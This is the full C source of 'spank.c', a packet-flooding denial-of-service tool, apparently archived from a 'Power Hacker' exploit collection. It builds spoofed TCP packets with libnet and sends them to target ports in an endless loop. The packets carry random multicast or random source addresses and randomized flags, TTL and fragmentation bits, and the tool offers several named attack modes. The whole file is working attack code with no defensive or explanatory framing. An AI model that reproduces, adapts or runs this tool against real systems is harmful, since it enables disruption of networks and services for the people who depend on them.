home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / advisories / spank / spank.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-01-26  |  7.6 KB  |  311 lines

  1. /*
  2.  * spank.c by Liquid Steel [lst @ efnet -- yardley@uiuc.edu]
  3.  * this is a more robust version of the previous raped.c and will 
  4.  * address a few issues and variations on the previous attacks as well as
  5.  * introduce a new attack.  
  6.  
  7.  * notes: this originally was written to address the ACK flood issue, now
  8.  * it has been rewritten to be a bit more robust and play with some params
  9.  * that seemed to break things when I was testing
  10.  * before. 
  11.  *
  12.  * requires:  libnet 0.99g or above (http://www.packetfactory.net)
  13.  *
  14.  * compile: gcc -Wall `libnet-config --defines` spank.c -o spank \
  15.  * `libnet-config --libs`
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <unistd.h>
  20. #include <libnet.h>
  21.  
  22. int ports, s;
  23. char *dsthost;
  24. u_char *packet;
  25. unsigned int portarray[255];
  26.  
  27. struct options {
  28.    unsigned long dst, src;
  29.    unsigned long seqn, ackn;
  30.    unsigned short flags;
  31.    unsigned short ttl;
  32.    unsigned short winsize;
  33.    unsigned short dport, sport;
  34.    unsigned short ident;
  35.    unsigned short frag;
  36.    unsigned char tos;
  37. };
  38.  
  39. struct options opt;
  40.  
  41. int isrand = 0, ismult = 0;
  42. int change = 0, change2 = 0;
  43. int stream = 0, whocares = 0, local = 0;
  44.  
  45.  
  46. int frag_array[4] = {IP_RF, IP_DF, IP_MF, IP_OFFMASK};
  47. int tos_array[4] = {IPTOS_MINCOST, IPTOS_RELIABILITY, IPTOS_THROUGHPUT, 
  48.                     IPTOS_LOWDELAY};
  49. int flag_array[6] = {TH_FIN, TH_SYN, TH_RST, TH_PUSH, TH_ACK, TH_URG};
  50.  
  51. void
  52. abort (void)
  53. {
  54.    printf (":: exiting...\n\n");
  55.    libnet_close_raw_sock(s);
  56.    libnet_destroy_packet(&packet);
  57.    exit (EXIT_SUCCESS);
  58. }
  59.  
  60. void
  61. banner (void)
  62. {
  63.    printf ("--------------------\n");
  64.    printf ("::                ::\n");
  65.    printf (":: spank.c by lst ::\n");
  66.    printf ("::                ::\n");
  67.    printf ("--------------------\n");
  68. }
  69.  
  70. void
  71. usage (char *progname)
  72. {
  73.    printf ("usage: %s [-lmnorsw] <dst> <ports>\n", progname);
  74.    printf ("\t-l\t- local multicast havoc\n");
  75.    printf ("\t-m\t- multicast variation attack\n");
  76.    printf ("\t-n\t- multicast variation attack with random args\n");
  77.    printf ("\t-o\t- original raped attack\n");
  78.    printf ("\t-r\t- pure random attack on dst\n");
  79.    printf ("\t-s\t- original stream attack\n");
  80.    printf ("\t-w\t- whocares attack (random dest w/ variable multicast)\n");
  81.    printf ("\t<dst>\t- destination host (not needed for -l or -w)\n");
  82.    printf ("\t<ports>\t- ports to flood\n\n");
  83.    exit (1);
  84. }
  85.  
  86. void
  87. parse_args (int argc, char *argv[])
  88. {
  89.    int cnt, i;
  90.         
  91.    if (argc < 2)
  92.    usage (argv[0]);
  93.  
  94.    if ((cnt = getopt(argc, argv, "lmnorsw")) != -1)
  95.    {
  96.       switch(cnt) {
  97.          case 'l':
  98.             local = 1;
  99.             ismult = isrand = 1;
  100.             change = 1;
  101.             break;
  102.  
  103.          case 'm':
  104.             opt.flags = TH_ACK;
  105.             ismult = 1;
  106.             break;
  107.    
  108.          case 'n':
  109.             ismult = isrand = 1;
  110.             break;
  111.    
  112.          case 'o':
  113.             opt.flags = TH_ACK;
  114.             break;
  115.       
  116.          case 'r':
  117.             change = 1;
  118.             ismult = isrand = 1;
  119.             break;
  120.          
  121.          case 's':
  122.             stream = 1;
  123.             break;
  124.         
  125.          case 'w':
  126.             whocares = 1;
  127.             change = change2 = 1;
  128.             ismult = isrand = 1;
  129.             break;
  130.        
  131.          default:
  132.             change = 1;
  133.             ismult = 1;
  134.             isrand = 1;
  135.             break;
  136.       }
  137.                 
  138.       if ((whocares) || (local))
  139.       {
  140.          for (i = 2; i < argc; i++)
  141.          {
  142.             ports++;
  143.             portarray[ports] = atoi (argv[i]);
  144.          }
  145.       }
  146.       
  147.       else
  148.       {
  149.          if (argc < 3) usage(argv[0]);
  150.                         
  151.          dsthost = argv[2];
  152.          for (i = 3; i < argc; i++)
  153.          {
  154.             ports++;
  155.             portarray[ports] = atoi (argv[i]);
  156.          }
  157.       }
  158.    }
  159.    
  160.    else
  161.    {
  162.       usage (argv[0]);
  163.       exit(EXIT_FAILURE);
  164.    }
  165. }
  166.  
  167. int
  168. main (int argc, char *argv[])
  169. {
  170.    int i, loop;
  171.    /* no payload yet */
  172.    int size = LIBNET_PACKET;
  173.  
  174.    opt.seqn = opt.ackn = opt.flags = opt.dport = opt.sport = opt.frag = 0;
  175.    opt.ttl = 255;
  176.    opt.winsize = 16384;
  177.    opt.tos = 0x08;      
  178.         
  179.    signal (SIGINT, (void (*)()) abort);
  180.  
  181.    srand(time(NULL) + getpid());
  182.    srandom(time(NULL) + getpid());
  183.  
  184.    banner ();
  185.  
  186.    parse_args (argc, argv);
  187.  
  188.    if (!whocares)
  189.    {
  190.       if (!local)
  191.       {
  192.          if (!(opt.dst = libnet_name_resolve(dsthost, LIBNET_RESOLVE)))
  193.          {
  194.             libnet_error(LIBNET_ERR_FATAL, 
  195.                          ":: invalid destination IP address: %s\n", dsthost);
  196.  
  197.             exit (1);
  198.           }
  199.  
  200.          printf (":: destination host - %s\n", dsthost);
  201.       }
  202.  
  203.       else printf (":: destination host - local\n");
  204.    }
  205.    else printf (":: destination host - whocares\n");
  206.                 
  207.   printf (":: destination port(s)");
  208.   for (i = 1; i < ports + 1; i++) printf (" - %d", portarray[i]);
  209.   putchar('\n');
  210.  
  211.   if (!libnet_init_packet(size, &packet))
  212.      libnet_error(LIBNET_ERR_FATAL, ":: libnet_init_packet failed\n");
  213.         
  214.   if ((s = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
  215.      libnet_error(LIBNET_ERR_FATAL, ":: cannot open socket.\n");
  216.  
  217.   printf (":: spanking...\n");
  218.   printf (":: press ^C to end...\n");
  219.  
  220.   for (;;)
  221.   {
  222.      for (i = 1; i < ports + 1; i++)
  223.      {
  224.         if (whocares) change2 = random() & 1;
  225.  
  226.         if (ismult)
  227.         {
  228.            opt.src = ((224 + rand() % 239) << 24) + 
  229.                      ((rand() % 254) << 16) + ((rand() % 254) << 8) +
  230.                      (rand() % 254);;
  231.  
  232.            if (local)
  233.            {
  234.               opt.dst = ((224 + rand() % 239) << 24) + (0 << 16) + (
  235.                         0 << 8) + (rand() % 5);
  236.            }
  237.            
  238.            else
  239.            {
  240.               if (change2)
  241.               {
  242.                  opt.dst = ((224 + rand() % 239) << 24) + 
  243.                            ((rand() % 254) << 16) + ((rand() % 254) << 8) + 
  244.                            (rand() % 254);
  245.               }
  246.               else opt.dst = rand();
  247.            }
  248.         }
  249.         
  250.         else
  251.         { 
  252.            opt.src = rand();
  253.  
  254.            if (local)
  255.            {
  256.               opt.dst = ((224 + rand() % 239) << 24) + 
  257.               (0 << 16) + (0 << 8) + (rand() % 5);
  258.            }
  259.  
  260.            else
  261.            {
  262.               if (change2)
  263.               {
  264.                  opt.dst = ((224 + rand() % 239) << 24) + 
  265.                  ((rand() % 254) << 16) + ((rand() % 254) << 8) +
  266.                  (rand() % 254);
  267.               }
  268.  
  269.               else opt.dst = rand();
  270.            }
  271.         }
  272.                         
  273.         if (isrand)
  274.         {
  275.            loop = rand() % 5;
  276.            for (i=0;i<=loop;i++) opt.flags |= flag_array[rand() % 5];
  277.                                 
  278.            opt.frag = frag_array[rand() % 3];
  279.            opt.ackn = random();
  280.            opt.sport = 1024 + rand () % 32000;
  281.            opt.tos = tos_array[rand() % 3];
  282.            opt.ttl = rand() % 255;
  283.            opt.winsize = rand() % 32000;
  284.            if (change) ismult = random() & 01;
  285.          }
  286.  
  287.          opt.ident = random(), opt.seqn = random();
  288.  
  289.          if (!stream) opt.ackn = random();
  290.                         
  291.          if (portarray[i] == 0) opt.dport = rand() % 1024;
  292.          else opt.dport = portarray[i];
  293.                         
  294.          libnet_build_ip(TCP_H, opt.tos, opt.ident, opt.frag, opt.ttl,
  295.                          IPPROTO_TCP, opt.src, opt.dst, NULL, 0, packet);
  296.  
  297.          libnet_build_tcp(opt.sport, opt.dport, opt.seqn, opt.ackn, 
  298.                           opt.flags, opt.winsize, 0, NULL, 0, 
  299.                           packet + IP_H);
  300.                         
  301.          if (libnet_do_checksum(packet, IPPROTO_TCP, TCP_H) == -1) 
  302.             libnet_error(LIBNET_ERR_FATAL, ":: libnet_do_checksum failed\n");
  303.                         
  304.          libnet_write_ip(s, packet, size);
  305.       }
  306.    } 
  307.  
  308.    return 0;
  309. }
  310.  
  311.